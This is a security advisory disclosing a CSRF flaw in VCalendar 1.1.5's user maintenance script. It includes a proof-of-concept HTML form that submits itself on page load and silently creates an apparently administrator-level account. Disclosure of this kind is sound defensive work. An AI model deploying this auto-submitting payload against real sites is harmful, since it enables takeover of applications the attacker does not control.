VCalendar 1.1.5 CSRF Vulnerability

Vulnerability ID: HTB22969
Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_vcalendar.html
Product: VCalendar
Vendor: UltraApps ( http://ultraapps.com )
Vulnerable Version: 1.1.5
Vendor Notification: 21 April 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details:
The vulnerability exists due to failure in the "/admin/users_maint.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://[host]/admin/users_maint.php?ccsForm=users_maint" method="post" name="main" />
<input type="hidden" name="user_login" value="test"/>
<input type="hidden" name="user_password" value="test"/>
<input type="hidden" name="user_level" value="100"/>
<input type="hidden" name="user_email" value="test@test.com"/>
<input type="hidden" name="user_first_name" value="test"/>
<input type="hidden" name="user_last_name" value="test"/>
<input type="hidden" name="user_is_approved" value="1"/>
<input type="hidden" name="user_date_add_h" value="04.16.2011"/>
<input type="submit" id="btn" name="submit" value="Submit ››">
</form>
<script>
document.getElementById('btn').click();
</script>